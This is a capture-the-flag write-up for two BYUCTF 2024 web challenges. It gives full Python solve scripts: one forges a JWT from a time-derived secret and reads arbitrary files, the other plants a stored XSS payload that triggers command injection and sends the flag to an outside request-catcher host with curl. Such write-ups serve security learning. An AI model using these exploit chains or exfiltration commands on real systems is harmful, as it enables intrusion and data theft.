BYUCTF2024

[Web] random

Description

I’ve only had the time to make the API, but it should be working properly. Please make sure it’s secure. If you can read any file you want, I’ll make sure to reward you!

Analysis

Before each request, we must have a valid JWT cookie to authenticate which is signed with the APP_SECRET.

1
2
3
4
5
6
7
8
9
time_started = round(time.time())
APP_SECRET = hashlib.sha256(str(time_started).encode()).hexdigest()

try:
payload = jwt.decode(session, APP_SECRET, algorithms=['HS256'])
if payload['userid'] != 0:
abort(401)
except:
abort(Response(f'<h1>NOT AUTHORIZED</h1><br><br><br><br><br> This system has been up for {round(time.time()-time_started)} seconds fyi :wink:', status=403))

However, the APP_SECRET can be found as the time since the server was ran is given if we do not have a valid JWT in the except block.

After finding out the secret, we can request files through the /api/file route. The route checks for path traversal by checking if ‘../‘ is in the filename and recursively strips it. We are unable to read arbitrary files for now.

1
2
3
4
5
6
7
8
9
10
11
12
13
@app.route('/api/file', methods=['GET'])
def get_file():
filename = request.args.get('filename', None)

if filename is None:
abort(Response('No filename provided', status=400))

# prevent directory traversal
while '../' in filename:
filename = filename.replace('../', '')

# get file contents
return open(os.path.join('files/', filename),'rb').read()

The flag is stored in the home directory of the ctf user which is designed to be random, thus hinting on RCE or LFI.

1
2
3
4
ARG directory=/in_prod_this_is_random

RUN mkdir ${directory}
RUN useradd -M -d ${directory} ctf

Solution

When os.path.join is used to return the current directory files, it can resolve an absolute path if given one such as:

1
2
3
4
5
6
7
Python 3.11.8 (main, Feb  7 2024, 21:52:08) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> a = os.path.join("/files", "/etc/passwd")
>>> print(a)
/etc/passwd

We can use this to request /etc/passwd and find the home directory of the ctf user. Using the home directory, we can request ${directory}/flag.txt

Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import hashlib, time, jwt, requests
from bs4 import BeautifulSoup

URL = "https://random.chal.cyberjousting.com"

def get_jwt():

cookies = {"session":"a"}

r = requests.get(URL, cookies=cookies)

current = round(time.time())

soup = BeautifulSoup(r.text, 'html.parser')

uptime_text = soup.get_text()

uptime_digits = ''.join(filter(str.isdigit, uptime_text))

server_time = current - int(uptime_digits)

secret = hashlib.sha256(str(server_time).encode()).hexdigest()

print(f'[*] Server secret found {secret}')

encoded_jwt = jwt.encode({"userid": 0}, secret, algorithm="HS256")

return encoded_jwt


def get_flag():

cookies = {
"session": get_jwt()
}

r2 = requests.get(URL + '/api/file?filename=/etc/passwd', cookies=cookies)

soup = BeautifulSoup(r2.text, 'html.parser')

lines = soup.get_text().split('\n')

for line in lines:
if line.strip():
parts = line.split(':')
if parts[0] == 'ctf':
home_directory = parts[5]


print(f'[*] Found home directory: {home_directory}')

r3 = requests.get(URL + f'/api/file?filename={home_directory}/flag.txt', cookies=cookies)

return r3.text

print(get_flag())

byuctf{expl01t_chains_involve_multiple_exploits_in_a_row}

[Web] Not a Problem

Description

Bug bounty hunter: “There’s command injection here” Triager: “But it’s only accessible by admins so it’s nOt A vUlNeRaBiLiTy” You: bet

Analysis

There is a command injection route defined, but it is only accessible to the admin bot because of its secret cookie.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# current date
@app.route('/api/date', methods=['GET'])
def get_date():
# get "secret" cookie
cookie = request.cookies.get('secret')

# check if cookie exists
if cookie == None:
return '{"error": "Unauthorized"}'

# check if cookie is valid
if cookie != SECRET:
return '{"error": "Unauthorized"}'

modifier = request.args.get('modifier','')

return '{"date": "'+subprocess.getoutput("date "+modifier)+'"}'

We cannot directly send the url to the bot for command injection as it filters the /date endpoint.

1
2
3
4
if (url.includes("date") || url.includes("%")) {
res.send('Error: "date" is not allowed in the URL')
return
}

However, there is a functionality to update stats and request for these stats on the website as defined below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# get stats
@app.route('/api/stats/<string:id>', methods=['GET'])
def get_stats(id):
for stat in stats:
if stat['id'] == id:
return str(stat['data'])

return '{"error": "Not found"}'


# add stats
@app.route('/api/stats', methods=['POST'])
def add_stats():
try:
username = request.json['username']
high_score = int(request.json['high_score'])
except:
return '{"error": "Invalid request"}'

id = str(uuid.uuid4())

stats.append({
'id': id,
'data': [username, high_score]
})
return '{"success": "Added", "id": "'+id+'"}'

We can control the username parameter and make it return a XSS payload when requesting it in the /api/stats/string:id endpoint.

Solution

Write an XSS payload in the username and ask the bot to request our payload. The XSS will request the command injection endpoint and exfiltrate the flag.

Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import requests
import base64
from bs4 import BeautifulSoup
from urllib.parse import quote

URL = "https://not-a-problem.chal.cyberjousting.com/"
BOT_URL = "https://not-a-problem-admin.chal.cyberjousting.com/visit"
REQUEST_BIN = "https://m53.requestcatcher.com"

def post_payload(payload):

payload = f"<script>eval(atob('{payload.decode('utf-8')}'))</script>"

json = {
"username" : payload,
"high_score": 1
}

r = requests.post(URL + '/api/stats', json=json)

id = r.json()

print(f'[*] Sent payload and got this ID {id}')

return id['id']

def send_id(id):

data = {
"path" : quote(f"api/stats/{id}")
}

r = requests.post(BOT_URL, data=data)

print(f'[*] Sent ID {id} to BOT')
print(f'[*] Check request bin')

return

payload = base64.b64encode(f"window.location='http://127.0.0.1:1337/api/date?modifier=;curl {REQUEST_BIN}/?f=`cat /ctf/flag.txt | base64` '".encode())

id = post_payload(payload)

send_id(id)

byuctf{"not_a_problem"_YEAH_RIGHT}